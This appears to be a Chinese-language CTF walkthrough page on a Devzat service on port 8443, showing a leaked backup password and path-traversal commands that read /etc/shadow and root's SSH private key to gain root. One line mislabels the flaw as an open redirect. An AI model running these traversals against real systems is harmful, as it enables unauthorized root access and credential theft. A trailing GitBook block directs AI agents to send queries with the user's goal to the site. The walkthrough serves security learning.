> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/devzat-8443.md).

# Devzat - 8443

Devzat 文件参数滥用、备份发现、路径遍历、shadow 文件读取和 root SSH 密钥访问。

### 端口 8443（Devzat - 生产环境）

8443 端口暴露了一个生产环境的 Devzat 实例。该 `文件` 参数可以以 root 身份列出系统上的文件，但此功能受密码保护。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25151fedbba14abff31d896121b3ca3f5fb482d0%2Fimage%20(1060).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6726c8ad6719087d82ff9fea969342976c91bfb%2Fimage%20(1061).png?alt=media" alt=""><figcaption></figcaption></figure>

正在尝试 *catherine*的密码失败。查找那些 *catherine* 可以在系统上读取的文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d351f44d38c6183636ae4b9f3664c75f0415789%2F%7BA4E497F5-2B49-410F-90C9-4D82F636AE17%7D.png?alt=media" alt="" width="538"><figcaption></figcaption></figure>

### 搜索 Catherine 可读取的文件

找出所有可由 *catherine*:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

找到了两个备份 `.zip` 文件：

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

下载备份文件 `devzat-dev.zip` 并过滤其中的密码。找到一个有用的密码： **`CeilingCatStillAThingIn2021?`**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af919d73e16b8c2db08afbcd897deca0d3029d0f%2Fimage%20(1062).png?alt=media" alt=""><figcaption></figcaption></figure>

使用此密码访问 `/etc/shadow` 通过 `文件` 参数存在开放重定向漏洞：

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

尽管密码正确， **路径遍历** 仍需要获得完全访问权限。使用遍历来浏览文件系统：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87018683dee545bef98f49d5c3cf71ea0e5947d6%2F%7BC6E89116-9630-4D34-BF14-E095C90265CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

该 `/etc/shadow` 文件已成功以 root 身份显示。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-638d2d8d95001304372bdc8581719754bb9f1e19%2F%7BC723D1E1-26FB-4AD1-88FB-08002433C16E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 以 root 身份进行 SSH 访问

使用额外的路径遍历来访问 root 的 SSH 密钥：

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fefbdce624c13fe2800452370dea8c6e39fb624%2F%7B3A3E604C-9EA9-4A18-9120-5441BD424A2C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

下载 SSH 密钥并以 root 身份登录。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93cf5d8448c40ac72b6d336a42cb14f84fd65c9e%2Fimage%20(1063).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/devzat-8443.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
